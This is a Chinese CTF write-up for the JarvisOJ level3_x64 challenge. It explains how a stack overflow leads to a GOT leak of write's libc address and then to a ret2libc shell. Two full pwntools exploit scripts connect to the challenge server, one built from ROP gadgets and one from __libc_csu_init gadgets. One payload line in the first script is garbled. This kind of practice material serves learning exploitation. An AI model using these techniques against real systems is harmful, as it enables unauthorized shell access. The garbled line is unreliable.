CTF

「JarvisOJ」XMANlevel3_x64题解

Posted by 许大仙 on August 10, 2018

一、解题思路

checesec查看

栈保护情况

代码段和数据段不存在随机化,栈不可执行,无金丝雀值。

反汇编level3_x64,可知单纯靠elf=ELF(“./level3_x64”),引入level3_x64文件,是不能得到system函数的调用地址的。观察函数列表就知道,没有system函数,所以PLT表中没有system函数的条目[这个程序没有调用过system函数,故system不参与符号解析过程,符号表中没有system]。

所以sys_addr = elf.plt[‘system’]或elf.symbols[‘system’]是找不到表项/条目的。

在IDA中反汇编libc-2.19.so,可以在函数列表中找到“system”、字符串窗口中找到“/bin/sh”

“system”和“/bin/sh”

所以还要引入.so文件[libc_elf=ELF(“./libc-2.19.so”)]。通过获得有GOT/PLT表项的某个函数A的真实地址以及.so文件中A和system函数和“/bin/sh”字符串偏移量与程序运行时三者的运行时(真实)地址偏移量相同的关系,通过A的真实地址+相等偏移量获得system函数的调用地址和”/bin/sh”字符串的地址。[类似于JOJXMAN3笔记所述]

因为write/read在level3_x64程序中有符号引用,所以他们有PLT条目[可以调用write来打印write _ got->recv(4)->获取write的真实地址]和GOT条目[GOT表泄露了他们的真实地址]

注:

  • elf.plt[‘write’]和elf.got[‘write’],仅仅只是write函数在PLT表和GOT表的索引,不是PLT表和GOT表的具体的内容[以elf.got[‘write’]为索引,索引到的GOT表内容是write函数的运行时(真实)地址]

  • python没有指针,故不能*write_got,来获得write函数的真实地址。

与32位下的差别在于,32位机器下:write函数打印write_ got,即write(1,write _ got,4),3个参数分别布置在栈中ebp+8,+12,+16; 而64位机器下,打印write_ got为write(1,write _ got,8),而且3个参数布置在%rdi,%rsi,%rdx。

设置三个参数:简单的方法即使ROPgadgets能直接得到合适的ROP链,要不然就是使用通用gadgets:__ libc_ csu_ init【以下会给出两种方法】

二、解题步骤

查找可用ROP链

我们可以布置栈,通过POP指令设置寄存器,通过ret指令将ROP连接起来,形成链。

0x00000000004006b3 : pop rdi ; ret

0x00000000004006b1 : pop rsi ; pop r15 ; ret #多放置8字节任意数据用于填充%r15

通过ROPgadget工具查找的可用ROP链,只能设置%rdi和%rsi寄存器,剩下的%rdx怎么办?

gdb反汇编在vulnerable_function中断点

观察edx寄存器

运气不错,edx寄存器在read退栈前一刻,保持着0x200[这个其实来自于栈溢出漏洞read(0, &buf, 0x200)中的第三个参数设置,此后vulnerable_function没有再动过这个寄存器]

edx寄存器值的来源

write函数的定义就是ssize_t write(int fd, const void *buf, size_t nbyte);把buf中nbyte写入文件描述符handle所指的文档,成功时返回写的字节数,错误时返回-1.

  • fd:文件描述符[1表示写到标准输出,即屏幕];
  • buf:指定的缓冲区,即指针,指向一段内存单元;
  • nbyte:要写入文件指定的字节数;
  • 返回值:写入文档的字节数(成功),-1(出错)

当写到nbyte的字节限制时,就write结束了。

因此edx大,没关系,多写出一点[>=8就好]。到时候recv(8),就获取前8字节得到write _ got的值就可以了,剩下的不receive就行。

最后就是0x00000000004006b3和0x00000000004006b1来设置rdi和rsi,然后rdx不需要设置,保持0x200

脚本情况就是:

#!/usr/bin/python

from pwn import *

context(arch="amd64",os="linux",log_level="debug")
re = remote("pwn2.jarvisoj.com",9883) 
#re = gdb.debug(["./level3_x64"])

elf = ELF("./level3_x64")
write_plt = elf.plt['write']
write_got = elf.got['write']
prdi_addr = 0x00000000004006b3
prsi_addr = 0x00000000004006b1  
vuln_addr = elf.symbols['vulnerable_function']


​ payload1 = ‘a’0x80 + ‘a’0x8 + p64(prdi_addr)+p64(1)+p64(prsi_addr)+p64(write_got) +’a’*0x8 + p64(write_plt) + p64(vuln_addr) ​ re.recvline() ​ re.sendline(payload1) ​

write_addr = u64(re.recv(8))

libc_elf=ELF("./libc-2.19.so")

#just address offset
sys_relative = libc_elf.symbols['system']
write_relative = libc_elf.symbols['write']
bin_relative = libc_elf.search('/bin/sh').next()

sys_addr = write_addr + sys_relative - write_relative
bin_addr = write_addr + bin_relative - write_relative

payload2 = 'a'*0x80 + 'a'*0x8 + p64(prdi_addr) + p64(bin_addr)+p64(sys_addr)

re.send(payload2)

re.interactive()

还有就是使用通用的gadgets:

通用的gadgets调用流程

#!/usr/bin/python

from pwn import *

context(arch="amd64",os="linux",log_level="debug")
re = remote("pwn2.jarvisoj.com",9883) 
#re = gdb.debug(["./level3_x64"])

elf = ELF("./level3_x64")
write_plt = elf.plt['write']
write_got = elf.got['write']
pr_addr = 0x00000000004006b3
vuln_addr = elf.symbols['vulnerable_function']
para_set_addr = 0x00000000004006AA
para_ret_addr = 0x0000000000400690

payload1 = 'a'*0x80 + 'a'*0x8 + p64(para_set_addr)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(1)+ p64(para_ret_addr)+'a'*56 + p64(vuln_addr)
re.recvline()
re.sendline(payload1)

write_addr = u64(re.recv(8))

libc_elf=ELF("./libc-2.19.so")

#just address offset
sys_relative = libc_elf.symbols['system']
write_relative = libc_elf.symbols['write']
bin_relative = libc_elf.search('/bin/sh').next()

sys_addr = write_addr + sys_relative - write_relative
bin_addr = write_addr + bin_relative - write_relative

payload2 = 'a'*0x80 + 'a'*0x8 + p64(pr_addr) + p64(bin_addr)+p64(sys_addr)

re.send(payload2)

re.interactive()

注意使用p64,u64,8字节而非4字节